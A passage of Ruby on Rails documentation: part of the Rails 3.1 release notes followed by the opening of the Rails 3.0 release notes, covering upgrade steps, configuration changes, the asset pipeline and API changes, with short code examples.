Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2.

Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing.

1.2 What to update in your apps

The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails.

1.2.1 Gemfile

Make the following changes to your Gemfile.

  gem 'rails', '= 3.1.3'
gem 'mysql2'

# Needed for the new asset pipeline
group :assets do
  gem 'sass-rails',   "~> 3.1.5"
  gem 'coffee-rails', "~> 3.1.1"
  gem 'uglifier',     ">= 1.0.3"
end

# jQuery is the default JavaScript library in Rails 3.1
gem 'jquery-rails'

1.2.2 config/application.rb

The asset pipeline requires the following additions:

config.assets.enabled = true
config.assets.version = '1.0'

If your application is using the "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts:

# Defaults to '/assets'
config.assets.prefix = '/asset-files'

1.2.3 config/environments/development.rb

Remove the RJS setting config.action_view.debug_rjs = true.

Add the following, if you enable the asset pipeline.

# Do not compress assets
config.assets.compress = false

# Expands the lines which load the assets
config.assets.debug = true

1.2.4 config/environments/production.rb

Again, most of the changes below are for the asset pipeline. You can read more about these in the Asset Pipeline guide.

# Compress JavaScripts and CSS
config.assets.compress = true

# Don't fallback to assets pipeline if a precompiled asset is missed
config.assets.compile = false

# Generate digests for assets URLs
config.assets.digest = true

# Defaults to Rails.root.join("public/assets")
# config.assets.manifest = YOUR_PATH

# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
# config.assets.precompile `= %w( admin.js admin.css )

# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true

1.2.5 config/environments/test.rb

  # Configure static asset server for tests with Cache-Control for performance
config.serve_static_assets = true
config.static_cache_control = "public, max-age=3600"

1.2.6 config/initializers/wrap_parameters.rb

Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.

# Be sure to restart your server when you modify this file.
# This file contains settings for ActionController::ParamsWrapper which
# is enabled by default.

# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
ActiveSupport.on_load(:action_controller) do
  wrap_parameters :format => [:json]
end

# Disable root element in JSON by default.
ActiveSupport.on_load(:active_record) do
  self.include_root_in_json = false
end

1.2.7 Remove :cache and :concat options in asset helpers references in views

With the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from your views.

2 Creating a Rails 3.1 application

  # You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp

2.1 Vendoring Gems

Rails now uses a Gemfile in the application root to determine the gems you require for your application to start. This Gemfile is processed by the Bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: - bundler homepage

2.2 Living on the Edge

Bundler and Gemfile makes freezing your Rails application easy as pie with the new dedicated bundle command. If you want to bundle straight from the Git repository, you can pass the --edge flag:

  $ rails new myapp --edge

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the --dev flag:

  $ ruby /path/to/rails/railties/bin/rails new myapp --dev

3 Rails Architectural Changes

3.1 Assets Pipeline

The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines.

The assets pipeline is powered by Sprockets and is covered in the Asset Pipeline guide.

3.2 HTTP Streaming

HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of NGINX and Unicorn is ready to take advantage of it.

3.3 Default JS library is now jQuery

jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch.

  $ rails new myapp -j prototype

3.4 Identity Map

Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion.

Rails 3.1 comes with the identity map turned off by default.

4 Railties

jQuery is the new default JavaScript library.

jQuery and Prototype are no longer vendored and is provided from now on by the jquery-rails and prototype-rails gems.

The application generator accepts an option -j which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the Gemfile, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline.

Generating an application or a plugin runs bundle install unless --skip-gemfile or --skip-bundle is specified.

The controller and resource generators will now automatically produce asset stubs (this can be turned off with --skip-assets). These stubs will use CoffeeScript and Sass, if those libraries are available.

Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, --old-style-hash can be passed.

Scaffold controller generator creates format block for JSON instead of XML.

Active Record logging is directed to STDOUT and shown inline in the console.

Added config.force_ssl configuration which loads Rack::SSL middleware and force all requests to be under HTTPS protocol.

Added rails plugin new command which generates a Rails plugin with gemspec, tests and a dummy application for testing.

Added Rack::Etag and Rack::ConditionalGet to the default middleware stack.

Added Rack::Cache to the default middleware stack.

Engines received a major update - You can mount them at any path, enable assets, run generators, etc.

5 Action Pack

5.1 Action Controller

A warning is given out if the CSRF token authenticity cannot be verified.

Specify force_ssl in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, :only or :except can be used.

Sensitive query string parameters specified in config.filter_parameters will now be filtered out from the request paths in the log.

URL parameters which return nil for to_param are now removed from the query string.

Added ActionController::ParamsWrapper to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in config/initializers/wrap_parameters.rb.

Added config.action_controller.include_all_helpers. By default helper :all is done in ActionController::Base, which includes all the helpers by default. Setting include_all_helpers to false will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller).

url_for and named URL helpers now accept :subdomain and :domain as options.

Added Base.http_basic_authenticate_with to do simple http basic authentication with a single class method call.

class PostsController < ApplicationController
  USER_NAME, PASSWORD = "dhh", "secret"

  before_filter :authenticate, :except => [ :index ]

  def index
    render :text => "Everyone can see me!"
  end

  def edit
    render :text => "I'm only accessible if you know the password"
  end

  private
    def authenticate
      authenticate_or_request_with_http_basic do |user_name, password|
        user_name == USER_NAME && password == PASSWORD
      end
    end
end

..can now be written as

class PostsController < ApplicationController
  http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index

  def index
    render :text => "Everyone can see me!"
  end

  def edit
    render :text => "I'm only accessible if you know the password"
  end
end

Added streaming support, you can enable it with:

class PostsController < ActionController::Base
  stream
end

You can restrict it to some actions by using :only or :except. Please read the docs at ActionController::Streaming for more information.

The redirect route method now also accepts a hash of options which will only change the parts of the URL in question, or an object which responds to call, allowing for redirects to be reused.

5.2 Action Dispatch

config.action_dispatch.x_sendfile_header now defaults to nil and config/environments/production.rb doesn't set any particular value for it. This allows servers to set it through X-Sendfile-Type.

ActionDispatch::MiddlewareStack now uses composition over inheritance and is no longer an array.

Added ActionDispatch::Request.ignore_accept_header to ignore accept headers.

Added Rack::Cache to the default stack.

Moved etag responsibility from ActionDispatch::Response to the middleware stack.

Rely on Rack::Session stores API for more compatibility across the Ruby world. This is backwards incompatible since Rack::Session expects #get_session to accept four arguments and requires #destroy_session instead of simply #destroy.

Template lookup now searches further up in the inheritance chain.

5.3 Action View

Added an :authenticity_token option to form_tag for custom handling or to omit the token by passing :authenticity_token => false.

Created ActionView::Renderer and specified an API for ActionView::Context.

In place SafeBuffer mutation is prohibited in Rails 3.1.

Added HTML5 button_tag helper.

file_field automatically adds :multipart => true to the enclosing form.

Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a :data hash of options:

tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)})
# => <div data-name="Stephen" data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]" />

Keys are dasherized. Values are JSON-encoded, except for strings and symbols.

csrf_meta_tag is renamed to csrf_meta_tags and aliases csrf_meta_tag for backwards compatibility.

The old template handler API is deprecated and the new API simply requires a template handler to respond to call.

rhtml and rxml are finally removed as template handlers.

config.action_view.cache_template_loading is brought back which allows to decide whether templates should be cached or not.

The submit form helper does not generate an id "object_name_id" anymore.

Allows FormHelper#form_for to specify the :method as a direct option instead of through the :html hash. form_for(@post, remote: true, method: :delete) instead of form_for(@post, remote: true, html: { method: :delete }).

Provided JavaScriptHelper#j() as an alias for JavaScriptHelper#escape_javascript(). This supersedes the Object#j() method that the JSON gem adds within templates using the JavaScriptHelper.

Allows AM/PM format in datetime selectors.

auto_link has been removed from Rails and extracted into the rails_autolink gem

6 Active Record

Added a class method pluralize_table_names to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through ActiveRecord::Base.pluralize_table_names.

class User < ActiveRecord::Base
  self.pluralize_table_names = false
end

Added block setting of attributes to singular associations. The block will get called after the instance is initialized.

class User < ActiveRecord::Base
  has_one :account
end

user.build_account{ |a| a.credit_limit = 100.0 }

Added ActiveRecord::Base.attribute_names to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist.

CSV Fixtures are deprecated and support will be removed in Rails 3.2.0.

ActiveRecord#new, ActiveRecord#create and ActiveRecord#update_attributes all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities:

class Post < ActiveRecord::Base
  attr_accessible :title
  attr_accessible :title, :published_at, :as => :admin
end

Post.new(params[:post], :as => :admin)

default_scope can now take a block, lambda, or any other object which responds to call for lazy evaluation.

Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped.

PostgreSQL adapter only supports PostgreSQL version 8.2 and higher.

ConnectionManagement middleware is changed to clean up the connection pool after the rack body has been flushed.

Added an update_column method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use update_attributes or update_attribute unless you are sure you do not want to execute any callback, including the modification of the updated_at column. It should not be called on new records.

Associations with a :through option can now use any association as the through or source association, including other associations which have a :through option and has_and_belongs_to_many associations.

The configuration for the current database connection is now accessible via ActiveRecord::Base.connection_config.

limits and offsets are removed from COUNT queries unless both are supplied.

People.limit(1).count           # => 'SELECT COUNT(*) FROM people'
People.offset(1).count          # => 'SELECT COUNT(*) FROM people'
People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1'

ActiveRecord::Associations::AssociationProxy has been split. There is now an Association class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called CollectionProxy, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings.

Singular associations (has_one, belongs_to) no longer have a proxy and simply returns the associated record or nil. This means that you should not use undocumented methods such as bob.mother.create - use bob.create_mother instead.

Support the :dependent option on has_many :through associations. For historical and practical reasons, :delete_all is the default deletion strategy employed by association.delete(*records), despite the fact that the default strategy is :nullify for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association.

The behavior of association.destroy for has_and_belongs_to_many and has_many :through is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'.

Previously, has_and_belongs_to_many.destroy(*records) would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table.

Previously, has_many_through.destroy(*records) would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table.

Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do records.association.each(&:destroy).

Add :bulk => true option to change_table to make all the schema changes defined in a block using a single ALTER statement.

change_table(:users, :bulk => true) do |t|
  t.string :company_name
  t.change :birthdate, :datetime
end

Removed support for accessing attributes on a has_and_belongs_to_many join table. has_many :through needs to be used.

Added a create_association! method for has_one and belongs_to associations.

Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the change method.

class MyMigration < ActiveRecord::Migration
  def change
    create_table(:horses) do |t|
      t.column :content, :text
      t.column :remind_at, :datetime
    end
  end
end

Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define up and down in your migration. If you define something in change that cannot be reversed, an IrreversibleMigration exception will be raised when going down.

Migrations now use instance methods rather than class methods:

class FooMigration < ActiveRecord::Migration
  def up # Not self.up
    # ...
  end
end

Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's change method instead of the ordinary up and down methods.

Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used.

has_many :things, :conditions => 'foo = #{bar}'          # before
has_many :things, :conditions => proc { "foo = #{bar}" } # after

Inside the proc, self is the object which is the owner of the association, unless you are eager loading the association, in which case self is the class which the association is within.

You can have any "normal" conditions inside the proc, so the following will work too:

has_many :things, :conditions => proc { ["foo = ?", bar] }

Previously :insert_sql and :delete_sql on has_and_belongs_to_many association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc.

Added ActiveRecord::Base#has_secure_password (via ActiveModel::SecurePassword) to encapsulate dead-simple password usage with BCrypt encryption and salting.

# Schema: User(name:string, password_digest:string, password_salt:string)
class User < ActiveRecord::Base
  has_secure_password
end

When a model is generated add_index is added by default for belongs_to or references columns.

Setting the id of a belongs_to object will update the reference to the object.

ActiveRecord::Base#dup and ActiveRecord::Base#clone semantics have changed to closer match normal Ruby dup and clone semantics.

Calling ActiveRecord::Base#clone will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called.

Calling ActiveRecord::Base#dup will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return true for new_record?, have a nil id field, and is saveable.

The query cache now works with prepared statements. No changes in the applications are required.

7 Active Model

attr_accessible accepts an option :as to specify a role.

InclusionValidator, ExclusionValidator, and FormatValidator now accepts an option which can be a proc, a lambda, or anything that respond to call. This option will be called with the current record as an argument and returns an object which respond to include? for InclusionValidator and ExclusionValidator, and returns a regular expression object for FormatValidator.

Added ActiveModel::SecurePassword to encapsulate dead-simple password usage with BCrypt encryption and salting.

ActiveModel::AttributeMethods allows attributes to be defined on demand.

Added support for selectively enabling and disabling observers.

Alternate I18n namespace lookup is no longer supported.

8 Active Resource

The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set self.format = :xml in the class. For example,

class User < ActiveResource::Base
  self.format = :xml
end

9 Active Support

ActiveSupport::Dependencies now raises NameError if it finds an existing constant in load_missing_constant.

Added a new reporting method Kernel#quietly which silences both STDOUT and STDERR.

Added String#inquiry as a convenience method for turning a String into a StringInquirer object.

Added Object#in? to test if an object is included in another object.

LocalCache strategy is now a real middleware class and no longer an anonymous class.

ActiveSupport::Dependencies::ClassCache class has been introduced for holding references to reloadable classes.

ActiveSupport::Dependencies::Reference has been refactored to take direct advantage of the new ClassCache.

Backports Range#cover? as an alias for Range#include? in Ruby 1.8.

Added weeks_ago and prev_week to Date/DateTime/Time.

Added before_remove_const callback to ActiveSupport::Dependencies.remove_unloadable_constants!.

Deprecations:

ActiveSupport::SecureRandom is deprecated in favor of SecureRandom from the Ruby standard library.

10 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Rails 3.1 Release Notes were compiled by Vijay Dev

Ruby on Rails 3.0 Release Notes

Rails 3.0 is ponies and rainbows! It's going to cook you dinner and fold your laundry. You're going to wonder how life was ever possible before it arrived. It's the Best Version of Rails We've Ever Done!

But seriously now, it's really good stuff. There are all the good ideas brought over from when the Merb team joined the party and brought a focus on framework agnosticism, slimmer and faster internals, and a handful of tasty APIs. If you're coming to Rails 3.0 from Merb 1.x, you should recognize lots. If you're coming from Rails 2.x, you're going to love it too.

Even if you don't give a hoot about any of our internal cleanups, Rails 3.0 is going to delight. We have a bunch of new features and improved APIs. It's never been a better time to be a Rails developer. Some of the highlights are:

Brand new router with an emphasis on RESTful declarations

New Action Mailer API modeled after Action Controller (now without the agonizing pain of sending multipart messages!)

New Active Record chainable query language built on top of relational algebra

Unobtrusive JavaScript helpers with drivers for Prototype, jQuery, and more coming (end of inline JS)

Explicit dependency management with Bundler

On top of all that, we've tried our best to deprecate the old APIs with nice warnings. That means that you can move your existing application to Rails 3 without immediately rewriting all your old code to the latest best practices.

These release notes cover the major upgrades, but don't include every little bug fix and change. Rails 3.0 consists of almost 4,000 commits by more than 250 authors! If you want to see everything, check out the list of commits in the main Rails repository on GitHub.

Chapters

Upgrading to Rails 3

Rails 3 requires at least Ruby 1.8.7

Rails Application object

script/* replaced by script/rails

Dependencies and config.gem

Upgrade Process

Creating a Rails 3.0 application

Vendoring Gems

Living on the Edge

Rails Architectural Changes

Railties Restrung

All Rails core components are decoupled

Active Model Abstraction

Controller Abstraction

Arel Integration

Mail Extraction

Documentation

Internationalization

Railties

Action Pack

Abstract Controller

Action Controller

Action Dispatch

Action View

Active Model

ORM Abstraction and Action Pack Interface

Validations

Active Record

Query Interface

Enhancements

Patches and Deprecations

Active Resource

Active Support

Action Mailer

Credits

To install Rails 3:

  # Use sudo if your setup requires it
$ gem install rails

1 Upgrading to Rails 3

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 2.3.5 and make sure your application still runs as expected before attempting to update to Rails 3. Then take heed of the following changes:

1.1 Rails 3 requires at least Ruby 1.8.7

Rails 3.0 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.0 is also compatible with Ruby 1.9.2.

Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing.

1.2 Rails Application object

As part of the groundwork for supporting running multiple Rails applications in the same process, Rails 3 introduces the concept of an Application object. An application object holds all the application specific configurations and is very similar in nature to config/environment.rb from the previous versions of Rails.

Each Rails application now must have a corresponding application object. The application object is defined in config/application.rb. If you're upgrading an existing application to Rails 3, you must add this file and move the appropriate configurations from config/environment.rb to config/application.rb.

1.3 script/* replaced by script/rails

The new script/rails replaces all the scripts that used to be in the script directory. You do not run script/rails directly though, the rails command detects it is being invoked in the root of a Rails application and runs the script for you. Intended usage is:

  $ rails console                      # instead of script/console
$ rails g scaffold post title:string # instead of script/generate scaffold post title:string

Run rails --help for a list of all the options.

1.4 Dependencies and config.gem

The config.gem method is gone and has been replaced by using bundler and a Gemfile, see Vendoring Gems below.

1.5 Upgrade Process

To help with the upgrade process, a plugin named Rails Upgrade has been created to automate part of it.

Simply install the plugin, then run rake rails:upgrade:check to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a Gemfile based on your current config.gem calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following:

  $ ruby script/plugin install git://github.com/rails/rails_upgrade.git

You can see an example of how that works at Rails Upgrade is now an Official Plugin

Aside from Rails Upgrade tool, if you need more help, there are people on IRC and rubyonrails-talk that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge!

2 Creating a Rails 3.0 application

  # You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp

2.1 Vendoring Gems

Rails now uses a Gemfile in the application root to determine the gems you require for your application to start. This Gemfile is processed by the Bundler which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: - bundler homepage

2.2 Living on the Edge

Bundler and Gemfile makes freezing your Rails application easy as pie with the new dedicated bundle command, so rake freeze is no longer relevant and has been dropped.

If you want to bundle straight from the Git repository, you can pass the --edge flag:

  $ rails new myapp --edge

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the --dev flag:

  $ ruby /path/to/rails/bin/rails new myapp --dev

3 Rails Architectural Changes

There are six major changes in the architecture of Rails.

3.1 Railties Restrung

Railties was updated to provide a consistent plugin API for the entire Rails framework as well as a total rewrite of generators and the Rails bindings, the result is that developers can now hook into any significant stage of the generators and application framework in a consistent, defined manner.

3.2 All Rails core components are decoupled

With the merge of Merb and Rails, one of the big jobs was to remove the tight coupling between Rails core components. This has now been achieved, and all Rails core components are now using the same API that you can use for developing plugins. This means any plugin you make, or any core component replacement (like DataMapper or Sequel) can access all the functionality that the Rails core components have access to and extend and enhance at will.

More information: - The Great Decoupling

3.3 Active Model Abstraction

Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.

More information: - Make Any Ruby Object Feel Like ActiveRecord

3.4 Controller Abstraction

Another big part of decoupling the core components was creating a base superclass that is separated from the notions of HTTP in order to handle rendering of views, etc. This creation of AbstractController allowed ActionController and ActionMailer to be greatly simplified with common code removed from all these libraries and put into Abstract Controller.

More Information: - Rails Edge Architecture

3.5 Arel Integration

Arel (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record.

More information: - Why I wrote Arel

3.6 Mail Extraction

Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree. Version 3 changes that with all email message related functionality abstracted out to the Mail gem. This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser.

More information: - New Action Mailer API in Rails 3

4 Documentation

The documentation in the Rails tree is being updated with all the API changes, additionally, the Rails Edge Guides are being updated one by one to reflect the changes in Rails 3.0. The guides at guides.rubyonrails.org however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released).

More Information: - Rails Documentation Projects

5 Internationalization

A large amount of work has been done with I18n support in Rails 3, including the latest I18n gem supplying many speed improvements.

I18n for any object - I18n behavior can be added to any object by including ActiveModel::Translation and ActiveModel::Validations. There is also an errors.messages fallback for translations.

Attributes can have default translations.

Form Submit Tags automatically pull the correct status (Create or Update) depending on the object status, and so pull the correct translation.

Labels with I18n also now work by just passing the attribute name.

More Information: - Rails 3 I18n changes

6 Railties

With the decoupling of the main Rails frameworks, Railties got a huge overhaul so as to make linking up frameworks, engines, or plugins as painless and extensible as possible:

Each application now has its own name space, application is started with YourAppName.boot for example, makes interacting with other applications a lot easier.

Anything under Rails.root/app is now added to the load path, so you can make app/observers/user_observer.rb and Rails will load it without any modifications.

Rails 3.0 now provides a Rails.config object, which provides a central repository of all sorts of Rails wide configuration options.

Application generation has received extra flags allowing you to skip the installation of test-unit, Active Record, Prototype and Git. Also a new --dev flag has been added which sets the application up with the Gemfile pointing to your Rails checkout (which is determined by the path to the rails binary). See rails --help for more info.

Railties generators got a huge amount of attention in Rails 3.0, basically:

Generators were completely rewritten and are backwards incompatible.

Rails templates API and generators API were merged (they are the same as the former).

Generators are no longer loaded from special paths anymore, they are just found in the Ruby load path, so calling rails generate foo will look for generators/foo_generator.

New generators provide hooks, so any template engine, ORM, test framework can easily hook in.

New generators allow you to override the templates by placing a copy at Rails.root/lib/templates.

Rails::Generators::TestCase is also supplied so you can create your own generators and test them.

Also, the views generated by Railties generators had some overhaul:

Views now use div tags instead of p tags.

Scaffolds generated now make use of _form partials, instead of duplicated code in the edit and new views.

Scaffold forms now use f.submit which returns "Create ModelName" or "Update ModelName" depending on the state of the object passed in.

Finally a couple of enhancements were added to the rake tasks:

rake db:forward was added, allowing you to roll forward your migrations individually or in groups.

rake routes CONTROLLER=x was added allowing you to just view the routes for one controller.

Railties now deprecates:

RAILS_ROOT in favor of Rails.root,

RAILS_ENV in favor of Rails.env, and

RAILS_DEFAULT_LOGGER in favor of Rails.logger.

PLUGIN/rails/tasks, and PLUGIN/tasks are no longer loaded all tasks now must be in PLUGIN/lib/tasks.

More information:

Discovering Rails 3 generators

The Rails Module (in Rails 3)

7 Action Pack

There have been significant internal and external changes in Action Pack.

7.1 Abstract Controller

Abstract Controller pulls out the generic parts of Action Controller into a reusable module that any library can use to render templates, render partials, helpers, translations, logging, any part of the request response cycle. This abstraction allowed ActionMailer::Base to now just inherit from AbstractController and just wrap the Rails DSL onto the Mail gem.

It also provided an opportunity to clean up Action Controller, abstracting out what could to simplify the code.

Note however that Abstract Controller is not a user facing API, you will not run into it in your day to day use of Rails.

More Information: - Rails Edge Architecture

7.2 Action Controller

application_controller.rb now has protect_from_forgery on by default.

The cookie_verifier_secret has been deprecated and now instead it is assigned through Rails.application.config.cookie_secret and moved into its own file: config/initializers/cookie_verification_secret.rb.

The session_store was configured in ActionController::Base.session, and that is now moved to Rails.application.config.session_store. Defaults are set up in config/initializers/session_store.rb.

cookies.secure allowing you to set encrypted values in cookies with cookie.secure[:key] => value.

cookies.permanent allowing you to set permanent values in the cookie hash cookie.permanent[:key] => value that raise exceptions on signed values if verification failures.

You can now pass :notice => 'This is a flash message' or :alert => 'Something went wrong' to the format call inside a respond_to block. The flash[] hash still works as previously.

respond_with method has now been added to your controllers simplifying the venerable format blocks.

ActionController::Responder added allowing you flexibility in how your responses get generated.

Deprecations:

filter_parameter_logging is deprecated in favor of config.filter_parameters << :password.

More Information:

Render Options in Rails 3

Three reasons to love ActionController::Responder

7.3 Action Dispatch

Action Dispatch is new in Rails 3.0 and provides a new, cleaner implementation for routing.

Big clean up and re-write of the router, the Rails router is now rack_mount with a Rails DSL on top, it is a stand alone piece of software.

Routes defined by each application are now name spaced within your Application module, that is:

# Instead of:

ActionController::Routing::Routes.draw do |map|
  map.resources :posts
end

# You do:

AppName::Application.routes do
  resources :posts
end

Added match method to the router, you can also pass any Rack application to the matched route.

Added constraints method to the router, allowing you to guard routers with defined constraints.

Added scope method to the router, allowing you to namespace routes for different languages or different actions, for example:

scope 'es' do
  resources :projects, :path_names => { :edit => 'cambiar' }, :path => 'proyecto'
end

# Gives you the edit action with /es/proyecto/1/cambiar

Added root method to the router as a short cut for match '/', :to => path.

You can pass optional segments into the match, for example match "/:controller(/:action(/:id))(.:format)", each parenthesized segment is optional.

Routes can be expressed via blocks, for example you can call controller :home { match '/:action' }.

The old style map commands still work as before with a backwards compatibility layer, however this will be removed in the 3.1 release.

Deprecations

The catch all route for non-REST applications (/:controller/:action/:id) is now commented out.

Routes :path_prefix no longer exists and :name_prefix now automatically adds "_" at the end of the given value.

More Information: * The Rails 3 Router: Rack it Up * Revamped Routes in Rails 3 * Generic Actions in Rails 3

7.4 Action View

7.4.1 Unobtrusive JavaScript

Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers.

What this means is that all previous remote_<method> helpers have been removed from Rails core and put into the Prototype Legacy Helper. To get UJS hooks into your HTML, you now pass :remote => true instead. For example:

  form_for @post, :remote => true

Produces:

  <form action="http://host.com" id="create-post" method="post" data-remote="true">

7.4.2 Helpers with Blocks

Helpers like form_for or div_for that insert content from a block use <%= now:

  <%= form_for @post do |f| %>
  ...
<% end %>

Your own helpers of that kind are expected to return a string, rather than appending to the output buffer by hand.

Helpers that do something else, like cache or content_for, are not affected by this change, they need &lt;% as before.

7.4.3 Other Changes

You no longer need to call h(string) to escape HTML output, it is on by default in all view templates. If you want the unescaped string, call raw(string).

Helpers now output HTML5 by default.

Form label helper now pulls values from I18n with a single value, so f.label :name will pull the :name translation.

I18n select label on should now be :en.helpers.select instead of :en.support.select.

You no longer need to place a minus sign at the end of a Ruby interpolation inside an ERB template to remove the trailing carriage return in the HTML output.

Added grouped_collection_select helper to Action View.

content_for? has been added allowing you to check for the existence of content in a view before rendering.

passing :value => nil to form helpers will set the field's value attribute to nil as opposed to using the default value

passing :id => nil to form helpers will cause those fields to be rendered with no id attribute

passing :alt => nil to image_tag will cause the img tag to render with no alt attribute

8 Active Model

Active Model is new in Rails 3.0. It provides an abstraction layer for any ORM libraries to use to interact with Rails by implementing an Active Model interface.

8.1 ORM Abstraction and Action Pack Interface

Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.

More Information: - Make Any Ruby Object Feel Like ActiveRecord

8.2 Validations

Validations have been moved from Active Record into Active Model, providing an interface to validations that works across ORM libraries in Rails 3.

There is now a validates :attribute, options_hash shortcut method that allows you to pass options for all the validates class methods, you can pass more than one option to a validate method.

The validates method has the following options:

:acceptance => Boolean.

:confirmation => Boolean.

:exclusion => { :in => Enumerable }.

:inclusion => { :in => Enumerable }.

:format => { :with => Regexp, :on => :create }.

:length => { :maximum => Fixnum }.

:numericality => Boolean.

:presence => Boolean.

:uniqueness => Boolean.

All the Rails version 2.3 style validation methods are still supported in Rails 3.0, the new validates method is designed as an additional aid in your model validations, not a replacement for the existing API.

You can also pass in a validator object, which you can then reuse between objects that use Active Model:

  class TitleValidator < ActiveModel::EachValidator
  Titles = ['Mr.', 'Mrs.', 'Dr.']
  def validate_each(record, attribute, value)
    unless Titles.include?(value)
      record.errors[attribute] << 'must be a valid title'
    end
  end
end

  class Person
  include ActiveModel::Validations
  attr_accessor :title
  validates :title, :presence => true, :title => true
end

# Or for Active Record

class Person < ActiveRecord::Base
  validates :title, :presence => true, :title => true
end

There's also support for introspection:

  User.validators
User.validators_on(:login)

More Information:

Sexy Validation in Rails 3

Rails 3 Validations Explained

9 Active Record

Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates, and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1.

9.1 Query Interface

Active Record, through the use of Arel, now returns relations on its core methods. The existing API in Rails 2.3.x is still supported and will not be deprecated until Rails 3.1 and not removed until Rails 3.2, however, the new API provides the following new methods that all return relations allowing them to be chained together:

where - provides conditions on the relation, what gets returned.

select - choose what attributes of the models you wish to have returned from the database.

